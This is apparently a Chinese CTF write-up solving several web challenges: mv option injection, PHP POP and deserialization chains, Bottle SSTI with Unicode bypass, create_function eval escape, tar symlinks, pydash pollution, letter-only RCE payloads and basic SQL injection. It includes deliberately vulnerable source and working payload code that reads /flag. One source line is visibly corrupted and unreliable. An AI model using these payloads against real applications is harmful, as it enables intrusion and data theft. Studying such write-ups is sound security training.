mv upload#

上源码

1
<?php
2
$uploadDir = '/tmp/upload/'; // 临时目录
3
$targetDir = '/var/www/html/upload/'; // 存储目录
4

5
$blacklist = [
6
    'php', 'phtml', 'php3', 'php4', 'php5', 'php7', 'phps', 'pht','jsp', 'jspa', 'jspx', 'jsw', 'jsv', 'jspf', 'jtml','asp', 'aspx', 'ascx', 'ashx', 'asmx', 'cer', 'aSp', 'aSpx', 'cEr', 'pHp','shtml', 'shtm', 'stm','pl', 'cgi', 'exe', 'bat', 'sh', 'py', 'rb', 'scgi','htaccess', 'htpasswd', "php2", "html", "htm", "asa", "asax",  "swf","ini"
7
];
8

9
$message = '';
10
$filesInTmp = [];
11

12
// 创建目标目录
13
if (!is_dir($targetDir)) {
14
    mkdir($targetDir, 0755, true);
15
}
16

17
if (!is_dir($uploadDir)) {
18
    mkdir($uploadDir, 0755, true);
19
}
20

21
// 上传临时目录
22
if (isset($_POST['upload']) && !empty($_FILES['files']['name'][0])) {
23
    $uploadedFiles = $_FILES['files'];
24
    foreach ($uploadedFiles['name'] as $index => $filename) {
25
        if ($uploadedFiles['error'][$index] !== UPLOAD_ERR_OK) {
26
            $message .= "文件 {$filename} 上传失败。<br>";
27
            continue;
28
        }
29

30
        $tmpName = $uploadedFiles['tmp_name'][$index];
31

32
        $filename = trim(basename($filename));
33
        if ($filename === '') {
34
            $message .= "文件名无效，跳过。<br>";
35
            continue;
36
        }
37

38
        $fileParts = pathinfo($filename);
39
        $extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
40

41
        $extension = trim($extension, '.');
42

43
        if (in_array($extension, $blacklist)) {
44
            $message .= "文件 {$filename} 因类型不安全（.{$extension}）被拒绝。<br>";
45
            continue;
46
        }
47

48
        $destination = $uploadDir . $filename;
49

50
        if (move_uploaded_file($tmpName, $destination)) {
51
            $message .= "文件 {$filename} 已上传至 $uploadDir$filename 。<br>";
52
        } else {
53
            $message .= "文件 {$filename} 移动失败。<br>";
54
        }
55
    }
56
}
57

58
// 获取临时目录中的所有文件
59
if (is_dir($uploadDir)) {
60
    $handle = opendir($uploadDir);
61
    if ($handle) {
62
        while (($file = readdir($handle)) !== false) {
63
            if (is_file($uploadDir . $file)) {
64
                $filesInTmp[] = $file;
65
            }
66
        }
67
        closedir($handle);
68
    }
69
}
70

71
// 处理确认上传完毕（移动文件）
72
if (isset($_POST['confirm_move'])) {
73
    if (empty($filesInTmp)) {
74
        $message .= "没有可移动的文件。<br>";
75
    } else {
76
        $output = [];
77
        $returnCode = 0;r
78
        exec("cd $uploadDir ; mv * $targetDi2>&1", $output, $returnCode);#flagtxt;ls"#
79
        if ($returnCode === 0) {
80
            foreach ($filesInTmp as $file) {
81
                $message .= "已移动文件: {$file} 至$targetDir$file<br>";
82
            }
83
        } else {
84
            $message .= "移动文件失败: " .implode(', ', $output)."<br>";
85
        }
86
    }
87
}
88
?>
89

90
<!DOCTYPE html>
91
<html lang="zh-CN">
92
<head>
93
    <meta charset="UTF-8">
94
    <title>多文件上传服务</title>
95
    <style>
96
        body { font-family: Arial, sans-serif; margin: 20px; }
97
        .container { max-width: 800px; margin: auto; }
98
        .alert { padding: 10px; margin: 10px 0; background: #f8d7da; color: #721c24; border: 1px solid #f5c6cb; }
99
        .success { background: #d4edda; color: #155724; border-color: #c3e6cb; }
100
        ul { list-style-type: none; padding: 0; }
101
        li { margin: 5px 0; padding: 5px; background: #f0f0f0; }
102
    </style>
103
</head>
104
<body>
105
<div class="container">
106
    <h2>多文件上传服务</h2>
107

108
    <?php if ($message): ?>
109
        <div class="alert <?= strpos($message, '失败') ? '' : 'success' ?>">
110
            <?= $message ?>
111
        </div>
112
    <?php endif; ?>
113

114
    <form method="POST" enctype="multipart/form-data">
115
        <label for="files">选择文件：</label><br>
116
        <input type="file" name="files[]" id="files" multiple required>
117
        <button type="submit" name="upload">上传到临时目录</button>
118
    </form>
119

120
    <hr>
121

122
    <h3>待确认上传文件</h3>
123
    <?php if (empty($filesInTmp)): ?>
124
        <p>暂无待确认上传文件</p>
125
    <?php else: ?>
126
        <ul>
127
            <?php foreach ($filesInTmp as $file): ?>
128
                <li><?= htmlspecialchars($file) ?></li>
129
            <?php endforeach; ?>
130
        </ul>
131
        <form method="POST">
132
            <button type="submit" name="confirm_move">确认上传完毕，移动到存储目录</button>
133
        </form>
134
    <?php endif; ?>
135
</div>
136
</body>
137
</html>

直接说吧，这个的触发点在mv那里，就是这句

1
 exec("cd $uploadDir ; mv * $targetDi2>&1", $output, $returnCode);

因为这里我们可以控制的是*这个会被展开，这个程序大致就是把上传的文件mv到一个存储目录去，就可以利用mv的参数解析干坏事，因为并不是直接插入代码解析，所以没法直接拼接参数，可以用mv的参数来做危险操作，看这个解析

1
$fileParts = pathinfo($filename);
2
$extension = isset($fileParts['extension']) ? strtolower($fileParts['extension']) : '';
3

4
$extension = trim($extension, '.');
5

6
if (in_array($extension, $blacklist)) {
7
  $message .= "文件 {$filename} 因类型不安全（.{$extension}）被拒绝。<br>";
8
  continue;
9
}

这个pathinfo解析了传过来的文件名，如果后缀名存在就小写后赋值给$extension，如果不存在就赋空值，然后把”.”给去掉之后看看是不是黑名单的，然后我们看重点，我们可以改mv内部参数，而有个参数就是备份加后缀的，直接打：

mv —backup —suffix=php shell. $target如此，解决

简单php的POP#

源码

1
<?php
2
  error_reporting(0);
3

4
class begin {
5
  public $var1;
6
  public $var2;
7

8
  function __construct($a)
9
  {
10
    $this->var1 = $a;
11
  }
12
  function __destruct() {
13
    echo $this->var1;
14
  }
15

16
  public function __toString() {
17
    $newFunc = $this->var2;
18
    return $newFunc();
19
  }
20
}
21

22

23
class starlord {
24
  public $var4;
25
  public $var5;
26
  public $arg1;
27

28
  public function __call($arg1, $arg2) {
29
    $function = $this->var4;
30
    return $function();
31
  }
32

33
  public function __get($arg1) {
34
    $this->var5->ll2('b2');
35
  }
36
}
37

38
class anna {
39
  public $var6;
40
  public $var7;
41

42
  public function __toString() {
43
    $long = @$this->var6->add();
44
    return $long;
45
  }
46

47
  public function __set($arg1, $arg2) {
48
    if ($this->var7->tt2) {
49
      echo "yamada yamada";
50
    }
51
  }
52
}
53

54
class eenndd {
55
  public $command;
56

57
  public function __get($arg1) {
58
    if (preg_match("/flag|system|tail|more|less|php|tac|cat|sort|shell|nl|sed|awk| /i", $this->command)){
59
      echo "nonono";
60
    }else {
61
      eval($this->command);
62
    }
63
  }
64
}
65

66
class flaag {
67
  public $var10;
68
  public $var11="1145141919810";
69

70
  public function __invoke() {
71
    if (md5(md5($this->var11)) == 666) {
72
      return $this->var10->hey;
73
    }
74
  }
75
}
76

77

78
if (isset($_POST['ISCTF'])) {
79
  unserialize($_POST["ISCTF"]);
80
}else {
81
  highlight_file(__FILE__);
82
}

给payload

1
<?php
2
  class begin
3
{
4
  public $var1;
5
public $var2;
6
}
7
class starlord
8
{
9
  public $var4;
10
  public $var5;
11
  public $arg1;
12
}
13
class anna
14
{
15
  public $var6;
16
  public $var7;
17
}
18
class eenndd
19
{
20
  public $command;
21
}
22
class flaag
23
{
24
  public $var10;
25
  public $var11 = "1145141919810";
26
}
27

28
$v = new eenndd();
29
$v -> command = 'include$_GET[s];';
30

31
$o = new flaag();
32
$o ->var11 = '213';
33
$o -> var10 = $v;
34

35
$k = new starlord();
36
$k ->var4 =$o;
37

38
$a = new anna();
39
$a ->var6 = $k;
40

41
$be = new begin();
42
$be -> var1 = $a;
43

44

45

46
$c = serialize($be);
47
echo $c;

二次传参，解决

1.2两题#

b@by n0t1ce b0ard#

这题给了CVE，照着cve一步步来然后简单代码审计就出了，就是/registration.php这个路由下能上传文件，然后导致木马可被上传，然后简单拼接路径就没了，附个图过了喵喵

难过的bottle#

源码有个黑名单

BLACKLIST = [“b”,“c”,“d”,“e”,“h”,“i”,“j”,“k”,“m”,“n”,“o”,“p”,“q”,“r”,“s”,“t”,“u”,“v”,“w”,“x”,“y”,“z”,”%”,”;”,”,”,”<”,”>”,”:”,”?”]

下面有模板渲染，直接打源码给你

1
from bottle import route, run, template, post, request, static_file, error
2
import os
3
import zipfile
4
import hashlib
5
import time
6
import shutil
7

8

9
# hint: flag is in /flag
10

11
UPLOAD_DIR = 'uploads'
12
os.makedirs(UPLOAD_DIR, exist_ok=True)
13
MAX_FILE_SIZE = 1 * 1024 * 1024  # 1MB
14

15
BLACKLIST = ["b","c","d","e","h","i","j","k","m","n","o","p","q","r","s","t","u","v","w","x","y","z","%",";",",","<",">",":","?"]
16

17
def contains_blacklist(content):
18
    """检查内容是否包含黑名单中的关键词（不区分大小写）"""
19
    content = content.lower()
20
    return any(black_word in content for black_word in BLACKLIST)
21

22
def safe_extract_zip(zip_path, extract_dir):
23
    """安全解压ZIP文件（防止路径遍历攻击）"""
24
    with zipfile.ZipFile(zip_path, 'r') as zf:
25
        for member in zf.infolist():
26
            member_path = os.path.realpath(os.path.join(extract_dir, member.filename))
27
            if not member_path.startswith(os.path.realpath(extract_dir)):
28
                raise ValueError("非法文件路径: 路径遍历攻击检测")
29

30
            zf.extract(member, extract_dir)
31

32
@route('/')
33
def index():
34
    """首页"""
35
    return '''
36
<!DOCTYPE html>
37
<html lang="zh-CN">
38
<head>
39
    <meta charset="UTF-8">
40
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
41
    <title>ZIP文件查看器</title>
42
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
43
    <link rel="stylesheet" href="/static/css/style.css">
44
</head>
45
<body>
46
    <div class="header text-center">
47
        <div class="container">
48
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
49
            <p class="lead">安全地上传和查看ZIP文件内容</p>
50
        </div>
51
    </div>
52
    <div class="container">
53
        <div class="row justify-content-center" id="index-page">
54
            <div class="col-md-8 text-center">
55
                <div class="card">
56
                    <div class="card-body p-5">
57
                        <div class="emoji-icon">📤</div>
58
                        <h2 class="card-title">轻松查看ZIP文件内容</h2>
59
                        <p class="card-text">上传ZIP文件并安全地查看其中的内容，无需解压到本地设备</p>
60
                        <div class="mt-4">
61
                            <a href="/upload" class="btn btn-primary btn-lg px-4 me-3">
62
                                📁 上传ZIP文件
63
                            </a>
64
                            <a href="#features" class="btn btn-outline-secondary btn-lg px-4">
65
                                ℹ️ 了解更多
66
                            </a>
67
                        </div>
68
                    </div>
69
                </div>
70
            </div>
71
        </div>
72
        <div class="row mt-5" id="features">
73
            <div class="col-md-4 mb-4">
74
                <div class="card h-100">
75
                    <div class="card-body text-center p-4">
76
                        <div class="emoji-icon">🛡️</div>
77
                        <h4>安全检测</h4>
78
                        <p>系统会自动检测上传文件，防止路径遍历攻击和恶意内容</p>
79
                    </div>
80
                </div>
81
            </div>
82
            <div class="col-md-4 mb-4">
83
                <div class="card h-100">
84
    <div class="card-body text-center p-4">
85
                        <div class="emoji-icon">📄</div>
86
                        <h4>内容预览</h4>
87
                        <p>直接在线查看ZIP文件中的文本内容，无需下载</p>
88
                    </div>
89
                </div>
90
            </div>
91
            <div class="col-md-4 mb-4">
92
                <div class="card h-100">
93
                    <div class="card-body text-center p-4">
94
                        <div class="emoji-icon">⚡</div>
95
                        <h4>快速处理</h4>
96
                        <p>高效处理小于1MB的ZIP文件，快速获取内容</p>
97
                    </div>
98
                </div>
99
            </div>
100
        </div>
101
    </div>
102
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
103
</body>
104
</html>
105
    '''
106

107
@route('/upload')
108
def upload_page():
109
    """上传页面"""
110
    return '''
111
<!DOCTYPE html>
112
<html lang="zh-CN">
113
<head>
114
    <meta charset="UTF-8">
115
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
116
    <title>上传ZIP文件</title>
117
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
118
    <link rel="stylesheet" href="/static/css/style.css">
119
</head>
120
<body>
121
    <div class="header text-center">
122
        <div class="container">
123
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
124
            <p class="lead">安全地上传和查看ZIP文件内容</p>
125
        </div>
126
    </div>
127
    <div class="container mt-4">
128
        <div class="row justify-content-center">
129
            <div class="col-md-8">
130
                <div class="card">
131
                    <div class="card-header bg-primary text-white">
132
                        <h4 class="mb-0">📤 上传ZIP文件</h4>
133
                    </div>
134
                    <div class="card-body">
135
                        <form action="/upload" method="post" enctype="multipart/form-data" class="upload-form">
136
                            <div class="mb-3">
137
                                <label for="fileInput" class="form-label">选择ZIP文件（最大1MB）</label>
138
                                <input class="form-control" type="file" name="file" id="fileInput" accept=".zip" required>
139
                                <div class="form-text">仅支持.zip格式的文件，且文件大小不超过1MB</div>
140
                            </div>
141
                            <button type="submit" class="btn btn-primary w-100">
142
                                📤 上传文件
143
                            </button>
144
                        </form>
145
                    </div>
146
                </div>
147
                <div class="text-center mt-4">
148
                    <a href="/" class="btn btn-outline-secondary">
149
                        ↩️ 返回首页
150
                    </a>
151
                </div>
152
            </div>
153
        </div>
154
    </div>
155
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
156
</body>
157
</html>
158
    '''
159

160
@post('/upload')
161
def upload():
162
    """处理文件上传"""
163
    zip_file = request.files.get('file')
164
    if not zip_file or not zip_file.filename.endswith('.zip'):
165
        return '请上传有效的ZIP文件'
166

167
    zip_file.file.seek(0, 2)
168
    file_size = zip_file.file.tell()
169
    zip_file.file.seek(0)
170

171
    if file_size > MAX_FILE_SIZE:
172
        return f'文件大小超过限制({MAX_FILE_SIZE/1024/1024}MB)'
173

174
    timestamp = str(time.time())
175
    unique_str = zip_file.filename + timestamp
176
    dir_hash = hashlib.md5(unique_str.encode()).hexdigest()
177
    extract_dir = os.path.join(UPLOAD_DIR, dir_hash)
178
    os.makedirs(extract_dir, exist_ok=True)
179

180
    zip_path = os.path.join(extract_dir, 'uploaded.zip')
181
    zip_file.save(zip_path)
182

183
    try:
184
        safe_extract_zip(zip_path, extract_dir)
185
    except (zipfile.BadZipFile, ValueError) as e:
186
        shutil.rmtree(extract_dir)
187
        return f'处理ZIP文件时出错: {str(e)}'
188

189
    files = [f for f in os.listdir(extract_dir) if f != 'uploaded.zip']
190

191
    return template('''
192
<!DOCTYPE html>
193
<html lang="zh-CN">
194
<head>
195
    <meta charset="UTF-8">
196
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
197
    <title>上传成功</title>
198
    <link href="https://cdn.jsdelivr.net/npm/[email protected]/dist/css/bootstrap.min.css" rel="stylesheet">
199
    <link rel="stylesheet" href="/static/css/style.css">
200
</head>
201
<body>
202
    <div class="header text-center">
203
        <div class="container">
204
            <h1 class="display-4 fw-bold">📦 ZIP文件查看器</h1>
205
            <p class="lead">安全地上传和查看ZIP文件内容</p>
206
        </div>
207
    </div>
208

209
    <div class="container mt-4">
210
        <div class="row justify-content-center">
211
            <div class="col-md-8">
212
                <div class="card">
213
                    <div class="card-header bg-success text-white">
214
                        <h4 class="mb-0">✅ 上传成功!</h4>
215
                    </div>
216
                    <div class="card-body">
217
                        <div class="alert alert-success" role="alert">
218
                            ✅ 文件已成功上传并解压
219
                        </div>
220

221
                        <h5>文件列表:</h5>
222
                        <ul class="list-group mb-4">
223
                            % for file in files:
224
                            <li class="list-group-item d-flex justify-content-between align-items-center">
225
                                <span>📄 {{file}}</span>
226
                                <a href="/view/{{dir_hash}}/{{file}}" class="btn btn-sm btn-outline-primary">
227
                                    查看
228
                                </a>
229
                            </li>
230
                            % end
231
                        </ul>
232

233
                        % if files:
234
                        <div class="d-grid gap-2">
235
                            <a href="/view/{{dir_hash}}/{{files[0]}}" class="btn btn-primary">
236
                                👀 查看第一个文件
237
                            </a>
238
                        </div>
239
                        % end
240
                    </div>
241
                </div>
242

243
                <div class="text-center mt-4">
244
                    <a href="/upload" class="btn btn-outline-primary me-2">
245
                        ➕ 上传另一个文件
246
                    </a>
247
                    <a href="/" class="btn btn-outline-secondary">
248
                        🏠 返回首页
249
                    </a>
250
                </div>
251
            </div>
252
        </div>
253
    </div>
254

255
    <script src="https://cdn.jsdelivr.net/npm/[email protected]/dist/js/bootstrap.bundle.min.js"></script>
256
</body>
257
</html>
258
    ''', dir_hash=dir_hash, files=files)
259

260
@route('/view/<dir_hash>/<filename:path>')
261
def view_file(dir_hash, filename):
262
    file_path = os.path.join(UPLOAD_DIR, dir_hash, filename)
263

264
    if not os.path.exists(file_path):
265
        return "文件不存在"
266

267
    if not os.path.isfile(file_path):
268
        return "请求的路径不是文件"
269

270
    real_path = os.path.realpath(file_path)
271
    if not real_path.startswith(os.path.realpath(UPLOAD_DIR)):
272
        return "非法访问尝试"
273

274
    try:
275
        with open(file_path, 'r', encoding='utf-8') as f:
276
            content = f.read()
277
    except:
278
        try:
279
            with open(file_path, 'r', encoding='latin-1') as f:
280
                content = f.read()
281
        except:
282
            return "无法读取文件内容（可能是二进制文件）"
283

284
    if contains_blacklist(content):
285
        return "文件内容包含不允许的关键词"
286

287
    try:
288
        return template(content)
289
    except Exception as e:
290
        return f"渲染错误: {str(e)}"
291

292
@route('/static/<filename:path>')
293
def serve_static(filename):
294
    """静态文件服务"""
295
    return static_file(filename, root='static')
296

297
@error(404)
298
def error404(error):
299
    return "讨厌啦不是说好只看看不摸的吗"
300

301
@error(500)
302
def error500(error):
303
    return "不要透进来啊啊啊啊"
304

305
if __name__ == '__main__':
306
    os.makedirs('static', exist_ok=True)
307

308
    #原神，启动!
309
    run(host='0.0.0.0', port=5000, debug=False)

大致是上传了一个zip，然后def一个函数检查一下zip有没有包含黑名单的字符，如果没有就解压之后去模板渲染，因为黑名单防得比较死，黑名单防了基本所有的字符，以及模板变量赋值等，但是防止的是ASCII的世界，但是python有个特性是自动归化，所以直接打 Unicode 字符，直接RCE。

Bypass#

直接上源码

1
<?php
2
class FLAG
3
{
4
private $a;
5
protected $b;
6
public function __construct($a, $b)
7
{
8
$this->a = $a;
9
$this->b = $b;
10
$this->check($a,$b);
11
eval($a.$b);
12
}
13
public function __destruct(){
14
$a = (string)$this->a;
15
$b = (string)$this->b;
16
if ($this->check($a,$b)){
17
$a("", $b);
18
}
19
else{
20
echo "Try again!";
21
}
22
}
23
private function check($a, $b) {
24
$blocked_a = ['eval', 'dl', 'ls', 'p', 'escape', 'er', 'str', 'cat', 'flag', 'file', 'ay', 'or', 'ftp', 'dict', '\.\.', 'h', 'w', 'exec', 's', 'open'];
25
$blocked_b = ['find', 'filter', 'c', 'pa', 'proc', 'dir', 'regexp', 'n', 'alter', 'load', 'grep', 'o', 'file', 't', 'w', 'insert', 'sort', 'h', 'sy', '\.\.', 'array', 'sh', 'touch', 'e', 'php', 'f'];
26

27
$pattern_a = '/' . implode('|', array_map('preg_quote', $blocked_a, ['/'])) . '/i';
28
$pattern_b = '/' . implode('|', array_map('preg_quote', $blocked_b, ['/'])) . '/i';
29

30
if (preg_match($pattern_a, $a) || preg_match($pattern_b, $b)) {
31
return false;
32
}
33
return true;
34
}
35
}
36

37

38
if (isset($_GET['exp'])) {
39
$p = unserialize($_GET['exp']);
40
var_dump($p);
41
}else{
42
highlight_file("index.php");
43
}

这里的__construct是没法触发的，触发点是 $a("",$ b);， $a是函数名，$ b是第二个参数，看到配置文件发现php的版本是php:7.1.30，这个版本有一个函数还没被ban，那就是 create_function，因为这个create_function(”,‘xx’)等于eval(“function λ() { payload_here }”);然后$b是}system(‘cat /flag’)然后八进制转义直接出了，因为八进制是可以在php被直接解析的。

来签个到吧(小反序列)#

给了附件，看看

1
if ($_SERVER["REQUEST_METHOD"] === "POST") {
2
    $s = $_POST["shark"] ?? '喵喵喵?';
3

4
    if (str_starts_with($s, "blueshark:")) {
5
        $ss = substr($s, strlen("blueshark:"));
6

7
        $o = @unserialize($ss);
8

9
        $p = $db->prepare("INSERT INTO notes (content) VALUES (?)");
10
        $p->execute([$ss]);
11

12
        echo "save sucess!";
13
        exit(0);
14
    } else {
15
        echo "喵喵喵?";
16
        exit(1);
17
    }
18
}
19
<?php
20
require_once "./config.php";
21
require_once "./classes.php";
22

23
$id = $_GET["id"] ?? '喵喵喵?';
24

25
$s = $db->prepare("SELECT content FROM notes WHERE id = ?");
26
$s->execute([$id]);
27
$row = $s->fetch(PDO::FETCH_ASSOC);
28

29
if (! $row) {
30
    die("喵喵喵?");
31
}
32

33
$cfg = unserialize($row["content"]);
34

35
if ($cfg instanceof ShitMountant) {
36
    $r = $cfg->fetch();
37
    echo "ok!" . "<br>";
38
    echo nl2br(htmlspecialchars($r));
39
}
40
else {
41
    echo "喵喵喵?";
42
}
43
?>
44
<?php
45
class FileLogger {
46
    public $logfile = "/tmp/notehub.log";
47
    public $content = "";
48

49
    public function __construct($f=null) {
50
        if ($f) {
51
            $this->logfile = $f;
52
        }
53
    }
54

55
    public function write($msg) {
56
        $this->content .= $msg . "\n";
57
        file_put_contents($this->logfile, $this->content, FILE_APPEND);
58
    }
59

60
    public function __destruct() {
61
        if ($this->content) {
62
            file_put_contents($this->logfile, $this->content, FILE_APPEND);
63
        }
64
    }
65
}
66

67
class ShitMountant {
68
    public $url;
69
    public $logger;
70

71
    public function __construct($url) {
72
        $this->url = $url;
73
        $this->logger = new FileLogger();
74
    }
75

76
    public function fetch() {
77
        $c = file_get_contents($this->url);
78
        if ($this->logger) {
79
            $this->logger->write("fetched ==> " . $this->url);
80
        }
81
        return $c;
82
    }
83

84
    public function __destruct() {
85
        $this->fetch();
86
    }
87
}
88
?>

叙述步骤，在index.php里接受shark参数，并且将它插入字段，并且删去前缀blueshark，然后插入字段名content,这样这个content在api有用，然后看api路由，这里的content本=被反序列化，然后下面有个检测，如果这个$cfg反序列化return的结果是ShitMountant类的实例，然后看class.php，我们要调用的是fetch方法去读flag，我们手搓一下payload的php代码

1
<?php
2
  class ShitMountant{
3
  public $url;
4
public $logger;
5
}
6

7
$o=new ShitMountant();
8
$o->url = '/flag';
9
$o->logger='null';
10

11
echo serialize($o);

我看了看一个注意的地方，如果logger值不是null而是Null那么logger值会被当成字符串然后下面if成功调用，然后在Null里找不到write方法就会报错，所以会直接终止并不会返回$c数据。

ok直接反序列化上传直接回显flag.结束

flag？我就借走了#

这题开始是这个界面

看到这个能解压，还是tar，利用软链接带出文件，直接拿到flag

命令是ln -s 源文件或目录链接名称

Who am I#

开头给了这个界面

爆破没用，抓包尝试SQL

1
POST /login HTTP/1.1
2
Host: challenge.bluesharkinfo.com:28459
3
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:145.0) Gecko/20100101 Firefox/145.0
4
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,/;q=0.8
5
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
6
Accept-Encoding: gzip, deflate, br
7
Content-Type: application/x-www-form-urlencoded
8
Content-Length: 41
9
Origin: http://challenge.bluesharkinfo.com:28459
10
Connection: keep-alive
11
Referer: http://challenge.bluesharkinfo.com:28459/
12
Upgrade-Insecure-Requests: 1
13
Priority: u=0, i
14
username=adminww&password=123wwwww&type=1

发现这个包有个type字段，正常登录注册是没用的如果更改type字段会有个报错，来看看

暴露可疑路径/272e1739b89da32e983970ece1a086bd，访问一下

成功进入后台，接下来是代码审计

1
from flask import Flask,request,render_template,redirect,url_for
2
import json
3
import pydash
4

5
app=Flask(__name__)
6

7
database={}
8
data_index=0
9
name=''
10

11
@app.route('/',methods=['GET'])
12
def index():
13
    return render_template('login.html')
14

15
@app.route('/register',methods=['GET'])
16
def register():
17
    return render_template('register.html')
18

19
@app.route('/registerV2',methods=['POST'])
20
def registerV2():
21
    username=request.form['username']
22
    password=request.form['password']
23
    password2=request.form['password2']
24
    if password!=password2:
25
        return '''
26
        <script>
27
        alert('前后密码不一致，请确认后重新输入。');
28
        window.location.href='/register';
29
        </script>
30
        '''
31
    else:
32
        global data_index
33
        data_index+=1
34
        database[data_index]=username
35
        database[username]=password
36
        return redirect(url_for('index'))
37

38
@app.route('/user_dashboard',methods=['GET'])
39
def user_dashboard():
40
    return render_template('dashboard.html')
41

42
@app.route('/272e1739b89da32e983970ece1a086bd',methods=['GET'])
43
def A272e1739b89da32e983970ece1a086bd():
44
    return render_template('admin.html')
45

46
@app.route('/operate',methods=['GET'])
47
def operate():
48
    username=request.args.get('username')
49
    password=request.args.get('password')
50
    confirm_password=request.args.get('confirm_password')
51
    if username in globals() and "old" not in password:
52
        Username=globals()[username]
53
        try:
54
            pydash.set_(Username,password,confirm_password)
55
            return "oprate success"
56
        except:
57
            return "oprate failed"
58
    else:
59
        return "oprate failed"
60

61
@app.route('/user/name',methods=['POST'])
62
def name():
63
    return {'username':user}
64

65
def logout():
66
    return redirect(url_for('index'))
67

68
@app.route('/reset',methods=['POST'])
69
def reset():
70
    old_password=request.form['old_password']
71
    new_password=request.form['new_password']
72
    if user in database and database[user] == old_password:
73
        database[user]=new_password
74
        return '''
75
        <script>
76
        alert('密码修改成功，请重新登录。');
77
        window.location.href='/';
78
        </script>
79
        '''
80
    else:
81
        return '''
82
        <script>
83
        alert('密码修改失败，请确认旧密码是否正确。');
84
        window.location.href='/user_dashboard';
85
        </script>
86
        '''
87

88
@app.route('/impression',methods=['GET'])
89
def impression():
90
    point=request.args.get('point')
91
    if len(point) > 5:
92
        return "Invalid request"
93
    List=["{","}",".","%","<",">","_"]
94
    for i in point:
95
        if i in List:
96
            return "Invalid request"
97
    return render_template(point)
98

99
@app.route('/login',methods=['POST'])
100
def login():
101
    username=request.form['username']
102
    password=request.form['password']
103
    type=request.form['type']
104
    if username in database and database[username] != password:
105
        return '''
106
        <script>
107
        alert('用户名或密码错误请重新输入。');
108
        window.location.href='/';
109
        </script>
110
        '''
111
    elif username not in database:
112
        return '''
113
        <script>
114
        alert('用户名或密码错误请重新输入。');
115
        window.location.href='/';
116
        </script>
117
        '''
118
    else:
119
        global name
120
        name=username
121
        if int(type)==1:
122
            return redirect(url_for('user_dashboard'))
123
        elif int(type)==0:
124
            return redirect(url_for('A272e1739b89da32e983970ece1a086bd'))
125

126
if __name__=='__main__':
127
    app.run(host='0.0.0.0',port=8080,debug=False)

重要的是两个路由，一个/impression，一个/operate路由，大概就是/operate路由可以改变默认渲染路径，

使用了pydash.set_(名字，路径，值),直接改为pydash.set_(app, “jinja_loader.searchpath.0”, ”/”)，这app是应用对象，然后改默认渲染路径为根目录，然后直接在/impression路由传参point=flag就ok

ezrce#

这题开始给了这个界面

这题只能允许a-zA-Z和()和_和；

那么我们可以构造这样的payload

方案1，chdir(dirname(dirname(dirname(getcwd()))));chdir(flag);highlight_file(flag)

不解释了，你看得懂

方案2,system(next(getheaders()))然后把第二个ua头改成cat ../../../flag，这样也可以。

flag到底在哪(简单SQL)#

这题让我对SQL的理解提升很多，来吧

开始是上面这个界面，爆破无果，尝试下面的方法，直接抓个POST包看看

然后用拼接绕过，这里讲一下,如果原码的语句是select * form users where username=‘admin’ and password=‘输入的’。如果这里输入上面就会变成and passowrd = ” or ‘1’ = ‘1’—+‘这样右边的or ‘1’ = ‘1’永远为真，所以可以通过校验.

萦梦sora~Nyaの安全Blog